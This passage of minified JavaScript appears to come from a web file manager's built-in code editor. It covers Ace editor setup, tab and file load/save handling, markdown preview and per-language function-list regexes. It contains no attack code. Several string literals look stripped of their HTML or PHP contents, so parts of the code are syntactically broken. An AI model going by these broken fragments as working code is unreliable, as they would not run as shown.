0,a=e("./preview");e("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),e.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),e.async("lib/ace/emmet.min.js",function(){e.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet")})});var n=ace.require("ace/lib/net");n.loadScript.hook("loadScript",n,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var o=ace.require("ace/mouse/default_handlers").DefaultHandlers;o.prototype.onMouseDown.hook("onMouseDown",o.prototype,function(){arguments[0].preventDefault=function(){return!0}});var s=ace.require("ace/virtual_renderer").VirtualRenderer;s.prototype.showComposition.hook("showComposition",s.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var r=ace.require("ace/editor").Editor;r.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",r.prototype,function(){return"hookReturn"});var l,c=function(e,i){if(void 0==i||void 0==e||1>t.length)return"";for(var a in t)try{if(t[a].kod[e]==i)return t[a].kod.uuid}catch(n){}return""},d=function(){var e={font_size:"15px",theme:"tomorrow",show_gutter:1,auto_wrap:1,auto_complete:1,function_list:1,tab_size:4,soft_tab:1,display_char:0,font_family:"Menlo",keyboard_type:"ace"};for(var t in e)G.code_config[t]===void 0&&(G.code_config[t]=e[t]);auto_function_list=parseInt(G.code_config.function_list),Toolbar.toolbarSelected(),k(),$("body").mouseup(function(e){var t=["markdown_menu_box","markdown_setting","markdown_help"];$.each(t,function(t,i){$(e.target).hasClass(i)||0!=$(e.target).parents("."+i).length||$("."+i).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(e,t){switch(stopPP(e),t){case"ctrl+f":case"command+f":break;default:}})},p=function(e){var t=core.pathExt(e),i=aceModeList.getModeForPath(e).name;if("text"==i)for(var a in core.fileOpenMode)if(-1!=$.inArray(t,core.fileOpenMode[a])){i=a;break}return i},u=function(e){var i,a="id_"+UUID();if(void 0==e||""==e||"undefined"==e)return i={uuid:a,name:"newfile.txt",charset:"utf-8",filename:"",mode:p("test.txt"),the_url:""},f(i),m(i),$(".edit_body .this").removeClass("this"),$(".edit_body pre#"+a).parent().addClass("this"),$(".tab_"+i.uuid).removeClass("loading"),x(),_(),Toolbar.toolbarSelected(),void 0;var n="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),i={charset:"utf-8",uuid:a,name:core.pathThis(e),filename:e,mode:p(e),the_url:n},f(i),t[i.uuid]={kod:{filename:i.filename}},$.ajax({dataType:"json",url:n,error:function(e,t,a){z(i.uuid),core.ajaxError(e,t,a)},success:function(e){if($(".tab_"+i.uuid).removeClass("loading"),!e||!e.code)return z(i.uuid),Tips.tips(e);if(0==$("#"+i.uuid).length)return z(i.uuid),void 0;if(!e.code)return Tips.tips(e),z(i.uuid),void 0;var n=e.data;1==n.base64&&(n.content=base64Decode(n.content));var o="";if("php"==n.ext&&0==n.content.indexOf(o)){var s=n.content.substr(o.length);n.content=o+js_beautify(s),i.mode=p("test.json")}"oexe"==n.ext&&(n.content=js_beautify(n.content)),t[a]=void 0,$("#"+a).text(n.content),m(i);var r=t[a];r.kod.charset=n.charset,r.kod.base64=n.base64,r.navigateTo(0),r.moveCursorTo(0,0),R(),x(),_(),Toolbar.toolbarSelected()}})},f=function(t){var i=core.iconSmall(core.pathExt(t.name)),a='";$(a).insertBefore(".edit_tab .add");var n=e("./tpl/edit_tab_content.html"),o=template.compile(n),s=o({LNG:LNG,uuid:t.uuid});if($(".edit_body .tabs").append(s),b(t.uuid),Tap.resetWidth("add"),k(),"markdown"==t.mode&&$.getUrlParam("sid")){var r=$("#"+t.uuid).parent(".edit_content");r.addClass("markdown_full_page")}},h=function(e){clearTimeout(l),l=!1,l=setTimeout(function(){try{e.kod.preview.editChange()}catch(t){}},300)},m=function(e){var i=ace.edit(e.uuid);i.setTheme("ace/theme/"+G.code_config.theme),void 0!=e.mode&&i.getSession().setMode("ace/mode/"+e.mode),i.getSession().setTabSize(parseInt(G.code_config.tab_size)),i.getSession().setUseSoftTabs(parseInt(G.code_config.soft_tab)),i.getSession().setUseWrapMode(parseInt(G.code_config.auto_wrap)),i.renderer.setShowGutter(parseInt(G.code_config.show_gutter)),i.renderer.setScrollMargin(0,100,0,0),"ace"==G.code_config.keyboard_type?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type),i.setShowPrintMargin(!1),i.setPrintMarginColumn(120),i.$blockScrolling=1/0,i.setDragDelay(20),i.setShowInvisibles(parseInt(G.code_config.display_char)),i.setFontSize(G.code_config.font_size),i.setAnimatedScroll(!0),i.setOptions({enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),i.on("change",function(){L(i,!0),h(i)}),i.on("changeSelection",function(){M()}),i.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(e){N(e.kod.uuid)}}),i.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(){Toolbar.doAction("function_list")}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(){Toolbar.doAction("preview")}}),i.commands.addCommand({name:"showKeyboardShortcuts",bindKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(e){ace.config.loadModule("ace/ext/keybinding_menu",function(t){t.init(e),e.showKeyboardShortcuts()})}}),i.commands.addCommand({name:"convertIndent",exec:function(e,t){ace.config.loadModule("ace/ext/whitespace",function(i){var a={reset_size:G.code_config.soft_tab?" ":" ",to_space:" ",to_tabs:" "},n=a[t];e.session.setTabSize(G.code_config.tab_size),e.session.setUseSoftTabs(G.code_config.soft_tab),i.detectIndentation(e.session),i.convertIndentation(e.session,n,G.code_config.tab_size),i.trimTrailingSpace(e.session,n)})}}),i.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(e){return"ace/mode/php"!=e.session.$modeId?(Tips.tips("Only for php mode!","warning"),void 0):(ace.config.loadModule("ace/ext/beautify",function(t){t.beautify(e.session)}),void 0)}}),i.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e)})}}),i.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e,!0)})}}),i.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(){Editor.searchBox&&Editor.searchBox.hide()}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-command-G",mac:"Ctrl-command-G"},exec:function(e){e.findAll(e.session.getTextRange()),M()}}),i.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(){Toolbar.doAction("refresh")}}),e.mode||(e.mode=""),i.kod={mode:e.mode,uuid:e.uuid,name:e.name,base64:!1,charset:"utf-8",the_url:e.the_url,filename:e.filename},i.hasChanged=!1,t[e.uuid]=i,i.kod.preview=new a(i),g()},_=function(){var e=F();if(e){e.focus(),e.resize();try{var t=window.parent.$.dialog.list.openEditor,i=Editor.current().kod.filename,a=' '+htmlEncode(i);if(t){t.title(a);var n="./index.php?editor/edit";G.sid!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid),n=n+"#filename="+urlEncode(i),window.parent.$(".openEditor .aui_content iframe").attr("src",n)}}catch(o){}}},v=function(e,t){try{Editor.current().completer.popup.hide()}catch(a){}$(".edit_tab .this").removeClass("this"),$(".edit_tab .tab_"+e).addClass("this"),i=e,t&&$(".edit_tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),_(),M(),E(),x(),Toolbar.toolbarSelected(),g()},g=function(){var e=F();e&&void 0!==e.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},b=function(e,t){void 0!=e&&""!=e&&($(".edit_body .this").removeClass("this"),$(".edit_body #"+e).parent().addClass("this"),v(e,t),P(function(t){t.ui.tree.setSelect($(".tab_"+e).attr("title"))}))},y=function(e,a,n){var o=t;$.extend(!0,{},G.code_config),void 0!=n&&(o={},o[n]?o[n]=t[n]:o[i]=t[i]);var s=function(e){var t=Number(!Number(e));return isNaN(t)?0:t};a!==void 0?G.code_config[e]=a:(G.code_config[e]=s(G.code_config[e]),a=G.code_config[e]),Toolbar.toolbarSelected();for(var r in o){var l=o[r];if(l&&l.kod&&l.resize)switch(-1!=$.inArray(e,["font_size","auto_wrap","font_family"])&&h(l),e){case"theme":l.setTheme("ace/theme/"+a);break;case"tab_size":l.getSession().setTabSize(parseInt(a));break;case"show_gutter":l.renderer.setShowGutter(parseInt(a));break;case"soft_tab":l.getSession().setUseSoftTabs(parseInt(a));break;case"font_size":l.setFontSize(parseInt(a));break;case"auto_wrap":l.getSession().setUseWrapMode(parseInt(a));break;case"display_char":l.setShowInvisibles(parseInt(a));break;case"font_family":k();break;case"keyboard_type":"ace"==G.code_config.keyboard_type?l.setKeyboardHandler():l.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type);break;case"function_list":break;case"auto_complete":l.setOptions({enableLiveAutocompletion:G.code_config[e]}),l.$enableBasicAutocompletion=G.code_config[e];break;default:}}$.ajax({url:"./index.php?editor/setConfig&k="+e+"&v="+G.code_config[e],dataType:"json",success:function(){}})
+},k=function(){var e=G.code_config.font_family;e="'"+e+"',Monaco,Menlo,Consolas,source-code-pro,'Liberation Mono','Ubuntu Mono',Courier,'Helvetica Neue','Microsoft Yahei','微软雅黑','Lantinghei SC',STXihei,WenQuanYi,sans-serif",$(".ace_editor_content").css("font-family",e)},w=function(e){var i=t;for(var a in i){var n=i[a];if(n&&n.kod&&n.resize)switch(e){case"resize":n.resize();break;case"setting":n.commands.exec("showSettingsMenu",n);break;default:}}"resize"==e&&x()},x=function(){var e=F();if(e){var t=$("#"+e.kod.uuid).parent().find(".edit_right_frame"),i=0;t.hasClass("hidden")||(i=100*(t.width()/$(window).width())),$(".edit_body .bottom_toolbar").css("right",i+"%")}},L=function(e,t){t!=e.hasChanged&&(e.hasChanged=t,$(".edit_tab .tabs .tab_"+e.kod.uuid).toggleClass("edit_changed"))},N=function(e,a){if(void 0!=i){void 0==e&&(e=i),void 0==a&&(a=!1);var n=t[e];if(n.hasChanged){if(void 0==n||""==n)return Tips.tips(LNG.data_error,"warning"),void 0;F().focus();var o=n.kod.filename;""==o?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(e){T(n,e,a)}):T(n,o,a)}}},C=function(){for(var e in t)""!=t[e].kod.filename&&N(e)},T=function(e,t,i){var a={path:t,charset:e.kod.charset,filestr:e.getValue()},n="./index.php?editor/fileSave";G.share_page!==void 0&&(n="./index.php?share/fileSave&user="+G.user+"&sid="+G.sid),e.kod.base64&&(a.base64="1",a.filestr=base64Encode(a.filestr)),a.filestr=urlEncode(a.filestr),""==e.kod.filename&&(a.create_file=1),Tips.loading(LNG.getting,!0),$(".tab_"+e.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:n,data:a,error:core.ajaxError,success:function(a){return $(".tab_"+e.kod.uuid).removeClass("loading"),a.code?(Tips.close(LNG.success,!0),""==e.kod.filename&&(e.kod.filename=t,S(e)),L(e,!1),_(),i&&z(e.kod.uuid),void 0):(Tips.close(a,!1),void 0)}})},S=function(e){var t=e.kod.filename;e.kod.name=core.pathThis(t),e.kod.mode=p(t),e.kod.the_url="./index.php?editor/fileGet&filename="+t;var i=$(".tab_"+e.kod.uuid);i.attr("title",t),i.find(".name").html(e.kod.name)},j=function(e){if(void 0==e&&(e=i),void 0==t[e])return z(e),void 0;var a=t[e];a.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:a.kod.name+" "+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){N(e,!0)}},{name:LNG.button_not_save,callback:function(){z(e)}}]}):z(e)},z=function(e){delete t[e];var i="",a=$(".edit_tab .tab"),n=$(".edit_tab .tab_"+e),o=$(".edit_body pre#"+e).parent();n.removeClass("edit_tab_menu"),n.hasClass("this")?($(a[0]).attr("uuid")==e?i=$(a[1]).attr("uuid"):a.each(function(){var t=$(this).attr("uuid");return t==e?!1:(i=t,void 0)}),""!=i&&$(".edit_body pre#"+i).addClass("this"),o.remove(),Tap.resetWidth("remove",n,i)):(o.remove(),Tap.resetWidth("remove",n)),E()},E=function(){0==$(".edit_body .tabs .edit_content").length?(F()&&F().kod.preview.close(),$(".disable_mask,.introduction").removeClass("hidden"),$(".bottom_toolbar").addClass("hidden"),$(".edit_body .tabs").addClass("hidden")):($(".disable_mask,.introduction").addClass("hidden"),$(".bottom_toolbar").removeClass("hidden"),$(".edit_body .tabs").removeClass("hidden")),P(function(e){var t=[];$(".edit_tab .tabs .edit_tab_menu").each(function(){var e=$(this).attr("title");e&&t.push(e)}),e.ui.fileHistory(t)})},P=function(e){ShareData.frameTop("",function(t){t.Config&&"editor"==t.Config.pageApp&&0!=t.$("#page_editor").length&&"function"==typeof e&&e(t)})},D=function(){for(var e in t)try{if(t[e].hasChanged)return!0}catch(i){}return!1},A=function(e){core.setSkin(e)},F=function(){return i&&t[i]&&t[i].focus?t[i]:!1},O=function(e){var i=F();e&&(i=t[e]);var a=i.kod.the_url,e=i.kod.uuid;return""==a?(Tips.tips(LNG.not_exists,"warning"),void 0):(Tips.loading(LNG.getting,!0),$(".tab_"+e).addClass("loading"),$.ajax({dataType:"json",url:a,error:function(t,i,a){Tips.close(),$(".tab_"+e).removeClass("loading"),core.ajaxError(t,i,a)},success:function(t){if(Tips.close(),$(".tab_"+e).removeClass("loading"),!t.code)return Tips.close(t),void 0;Tips.close(LNG.success,!0);var a=t.data;1==a.base64&&(a.content=base64Decode(a.content));var n="";if(null==a.content&&(a.content=""),"php"==a.ext&&0==a.content.indexOf(n)){var o=a.content.substr(n.length);a.content=n+js_beautify(o)}"oexe"==a.ext&&(a.content=js_beautify(a.content)),i.kod.charset=a.charset,i.kod.base64=a.base64,i.getSession().setValue(a.content);var s=i.getFirstVisibleRow();i.scrollToLine(s),L(i,!1)}}),void 0)},R=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var e=ShareData.data("FILE_SEARCH_AT"),t=F(),i={row:e.line-1,column:0};e.lineIndex-->=0;){t.selection.moveTo(i.row,i.column);var a=-1==e.lineIndex?!0:!1,n=t.find(e.search,{},a);i=n.end}t.session.highlight(t.$search.$options.re),t.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},I=function(e){e||(e=G.code_config.theme);var t=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(t,e)?!0:!1},M=function(){var e=Editor.current();if(e){var t=e.selection.getCursor(),i=t.row+1+":"+(t.column+1);e.selection.rangeCount>1&&(i+=" ["+e.selection.rangeCount+"]");for(var a=e.selection.getAllRanges(),n=0,o=0,s=0;a.length>s;s++){var r={start:a[s].start,end:a[s].end},l=e.selection.doc.getTextRange(r);n+=l.length,o+=r.end.row-r.start.row+1}n>0&&(i+=" ("+n+" ~ "+o+")"),$(".editor_position").html(i)}};return{init:d,current:F,getParentEditor:P,hasFileSave:D,saveConfig:y,doAction:w,setTheme:A,isBlackTheme:I,select:b,remove:j,save:N,saveall:C,refresh:O,getFileMode:p,aceModeList:aceModeList,add:function(e){e=urlDecode(e);var t=c("filename",e);""!=t?(b(t,!0),R()):u(e)}}}),define("app/src/edit/preview",["./preview_markdown","./function_list","./markdownTools"],function(e){return function(t){var i=$("#"+t.kod.uuid).parent(".edit_content"),a=i.find(".edit_right_frame"),n=$("#"+t.kod.uuid),o=i.find(".function_list_frame"),s=i.find(".preview_url_frame"),r=i.find(".preview_markdown_frame"),l=e("./preview_markdown"),c=e("./function_list"),d=e("./markdownTools"),p=new l(t),u=new c(t),f=10,h=function(){i.find(".preview_url_tool input").keyEnter(L);var e=i.find(".resize"),t=0;e.drag({start:function(){t=a.width(),e.addClass("resize_active"),$("body").css("cursor","col-resize"),a.append('
'),a.addClass("can_not_select")},move:function(i){var o=t-i,s=$(window).width();o>=s-f&&(o=s-f),f>=o&&(o=f),n.width(s-o),a.width(o),e.css("left",s-o+"px")},end:function(){e.removeClass("resize_active"),$("body").css("cursor","default"),a.find(".mask_view").remove(),a.removeClass("can_not_select"),m()}})},m=function(){if(0==$(".markdown_full_page").length){if(a.is(":visible")){var e=a.width(),t=$(window).width();e>=t-f&&(e=t-f),f>=e&&(e=f);var s=100*parseFloat(e/t);a.width(s+"%"),n.width(100-s+"%");var l=i.find(".resize");l.css("left",100-s+"%"),o.is(":visible")&&a.attr("data-size-width",e),r.is(":visible")&&p.refreshScroll()}Editor.doAction("resize")}},_=function(){i.find(".edit_right_frame .box a,.function_list_tool .box a,[markdown_action]").bind("click",function(t){var a=$(this).attr("class");switch($(this).attr("markdown_action")&&(a=$(this).attr("markdown_action")),a){case"tool_markdown_menu":if(i.find(".markdown_menu_box").toggleClass("hidden"),!i.find(".markdown_menu_box").hasClass("hidden")){var n=p.markdownMenu(i.find(".markdown_preview"));i.find(".markdown_menu_box .content").html(n)}break;case"tool_markdown_download_html":p.markdownDownload(i.find(".markdown_preview").html(),"html");break;case"tool_markdown_download_pdf":p.markdownDownload(i.find(".markdown_preview").html(),"pdf");break;case"tool_markdown_download_markdown":p.markdownDownload("","md");break;case"tool_markdown_full":i.toggleClass("markdown_full"),i.hasClass("markdown_full")&&(i.find(".ace_editor").css("width","50%"),i.find(".edit_right_frame").css("width","50%"),i.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool_markdown_setting":i.find(".markdown_setting").toggleClass("hidden");break;case"tool_markdown_help":if(""==i.find(".markdown_help .content").html()){var n="";n="zh-CN"==G.lang||"zh-TW"==G.lang?e("./tpl/markdown_help_cn.html"):e("./tpl/markdown_help.html"),i.find(".markdown_help .content").html(n)}i.find(".markdown_help").toggleClass("hidden");break;case"tool_markdown_max":i.toggleClass("markdown_full_page"),i.hasClass("markdown_full_page")||m();break;case"tool_open_url":b();break;case"tool_refresh":L();break;case"tool_close":x();break;case"tool_markdown_help":break;default:}return stopPP(t),!1})},v=function(e){var l=0;if(a.removeClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").removeClass("hidden"),"function_list"==e)o.removeClass("hidden"),l=200,u.refresh(),a.find(".function_search input").focus();else if("markdown"==e)l=.51*$(window).width(),r.removeClass("hidden"),p.refresh(),d.bindEvent(i,t);else if("html"==e){l=.5*$(window).width(),s.removeClass("hidden");var c=t.kod.filename;c=core.path2url(c),a.find(".preview_url_tool input").val(c),a.find("iframe").attr("src",c)}a.css({width:l}),n.css({width:$(window).width()-l}),m()},g=function(){o.hasClass("hidden")?r.hasClass("hidden")||p.refresh():u.refresh()},b=function(e){if(r.hasClass("hidden"))window.open(i.find(".preview_url_frame input").attr("value"));else{var t=p.markdown2html(i.find(".markdown_preview").html()),a=window.open("","_blank","");a.document.open("text/html","replace"),a.opener=null,a.document.write(t),a.document.close()}stopPP(e)},y=function(){return u.support(t.kod.mode)?(o.hasClass("hidden")?(auto_function_list=1,v("function_list")):(auto_function_list=0,x()),Editor.saveConfig("function_list",auto_function_list),void 0):(Tips.tips(LNG.not_support,"warning"),void 0)},k=function(){a.hasClass("hidden")?w()||v("html"):r.hasClass("hidden")&&v("html")},w=function(){return auto_function_list&&u.support(t.kod.mode)?(v("function_list"),!0):"markdown"==t.kod.mode?(v("markdown"),!0):!1},x=function(){(s.hasClass("hidden")||!w())&&(a.addClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").addClass("hidden"),$(".markdown_full_page").removeClass("markdown_full_page"),n.css("width","100%"),Editor.doAction("resize"))},L=function(){var e=i.find(".preview_url_tool input"),t=e.attr("value");i.find(".open_ie").attr("href",t),i.find("iframe").attr("src",t)},N=function(){h(),_(),w();var e,n=function(){clearTimeout(e),e=!1,e=setTimeout(function(){o.is(":visible")&&(a.width(a.attr("data-size-width")),m())},10)};$(window).bind("resize",n),d.bindEvent(i,t)};return N(),{open:v,editChange:g,close:x,resize:m,openFunctionList:y,previewForce:k}}}),define("app/src/edit/preview_markdown",[],function(e){var t=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+=''+$(this).text()+" "}),t=""},i=function(e){e.find("a").attr("target","_blank");var i="[TOC]
";if(-1!=e.html().indexOf(i)){var a=t(e),n=e.html();n=n.replace(i,a),e.html(n)}},a=function(){$(".edit_right_frame .markdown_menu a").die("click").live("click",function(e){stopPP(e);var t=$(this).parents(".right_main"),i=t.find("[data-link='"+$(this).attr("href")+"']");if(0!=i.length){var a=i.offset().top+t.scrollTop()-t.offset().top+"px";t.stop(!0).animate({scrollTop:a},100,"linear")}})},n=function(t,i){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t),"function"==typeof i&&i()})})},o=function(t,i){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),t.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e=''+e+"
",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof i&&i()})},s=function(){var e="newfile",t=Editor.current().kod.filename;return""!=t&&(t=core.pathThis(t),e=t.substr(0,t.indexOf("."))),e},r=function(t){var i=e("./tpl/markdown_preview.html"),a=template.compile(i),n=a({addStyle:G.app_host+"static/js/lib/markdown/katex/katex.min.css",content:t,title:s(),black_theme:Editor.isBlackTheme()});return n=n.replace(/ data-link="#(.*?)">/g,'> ')},l=function(e,t){var i=s()+"."+t;switch(t){case"html":$.htmlDownload(r(e),i);break;case"md":var a=Editor.current(),n=a.getValue();$.htmlDownload(n,i);break;case"pdf":$.htmlPrint(r(e));break;default:}};return function(){var s,c,d,p,u=!1,f=!1,h=function(){if(s=Editor.current(),s&&void 0!==s.focus){var e=s.kod.uuid;c=$("#"+e).parent().find(".markdown_preview"),d=$("#"+e).parent().find(".edit_right_frame .right_main"),v(),_(),a()}},m=function(t){e.async("lib/markdown/markdown-it.min",function(){if(c&&0!=c.length){var e=window.markdownit({html:!0,breaks:!0}),a=s.getValue(),r=e.render(a),l=$(".markdown_make_buffer");0==l.length&&($("
").appendTo("body"),l=$(".markdown_make_buffer")),l.html(r),i(l),n(l,function(){c.html(l.html())}),(0==c.html().length||t===!0)&&c.html(l.html()),c.html(l.html()),o(l,function(){c.html(l.html()),l.remove(),w()})}})},_=function(){var e,t=function(){return!d.find(".preview_markdown_frame").hasClass("hidden")};s.session.on("changeScrollTop",function(){!f&&t()&&(u=!0,x(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3))}),s.on("change",function(){!f&&t()&&(u=!0,w(function(){x(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3)}))})},v=function(){return},g=[],b=[],y=function(){if(void 0!==s.kod.mode&&"markdown"==s.kod.mode){g=[];for(var e="\n...\n"+s.getValue(),t=0,i=window.markdownit(),a=i.parse(e,{references:{}}),n=["h1","h2","h3","h4","h5","h6"],o=0;a.length>o;o++)if($.inArray(a[o].tag,n)>=0&&"heading_open"==a[o].type){var r=s.session.documentToScreenPosition(a[o].map[0]-1,2),l=r.row*s.renderer.lineHeight;g.push({start:t,end:l,height:l-t}),t=l}}},k=function(){if(d&&0!=d.length){b=[];var e=0,t=d.scrollTop();c.find("h1,h2,h3,h4,h5,h6").each(function(){var i=$(this).position().top+t+parseInt($(this).css("margin-top"));b.push({start:e,end:i,height:i-e}),e=i})}},w=function(e){clearTimeout(p),p=!1,p=setTimeout(function(){y(),k(),"function"==typeof e&&e()},200)},x=function(e){var t=s.session.getScrollTop(),i=d.scrollTop(),a=function(e,t,i,a){for(var n,o=-1,s=0;e.length>s&&(o=s,n=e[s],!(e[s].end>t));s++);if(!(-1===o||o>=i.length)){var r=(t-n.start)/n.height,l=i[o],c=l.start+l.height*r;o==e.length-1&&t>=n.end-5&&(c=l.end),a(c)}};e?a(g,t,b,function(e){d.stop(!0).animate({scrollTop:e},100,"linear")}):i+d.height()>=d.prop("scrollHeight")-5?s.gotoLine(s.session.getLength()):a(b,i,g,function(e){s.session.setScrollTop(e)})};return h(),{refresh:m,refreshScroll:w,markdownMenu:t,markdown2html:r,markdownDownload:l}}}),define("app/src/edit/tpl/markdown_preview.html",[],'\n \n \n {{title}} \n\n \n\n\nPrint \n\n{{#content}}\n\n\n\n'),define("app/src/edit/function_list",[],function(){var e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,reg_name:/.*function\s+(.*\))/,reg_index:1,type_extents:{function_value:/\s*(private|protected)\s*/,function_var:/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,reg_name:/\s*class\s+(\w*)\s*.*\{/,reg_index:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*function\s+([\w\s]+)\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,reg_index:1,reg_name_all:[1,2],type:"function function_value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,reg_name:/\s*class\s+(\w+)\s*\(/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,reg_name:/\s*def\s+(\w+)\s*\(.*\)/,reg_index:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,reg_name:/\s*def\s+(\w+)\s*/,reg_index:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,reg_name:/\s*func\s+(\w+)\s*/,reg_index:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,reg_name:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,reg_index:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,reg_name:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,reg_index:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,reg_name:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,reg_index:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,reg_name:/\s*class\s+(\w+)\s*.*\{/,reg_index:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,reg_name:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,reg_index:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,reg_name:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,reg_index:1,type:"function"},{reg:/@implementation\s+(\w*)/g,reg_name:/@implementation\s+(\w*)/,reg_index:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,reg_name:/#pragma\s+(mark\s+)?(.*)/,reg_index:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s+(\w+)\s*\(/,reg_index:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s*(\w+)::~?(\w+)\s*\(/,reg_index:2,type:"function 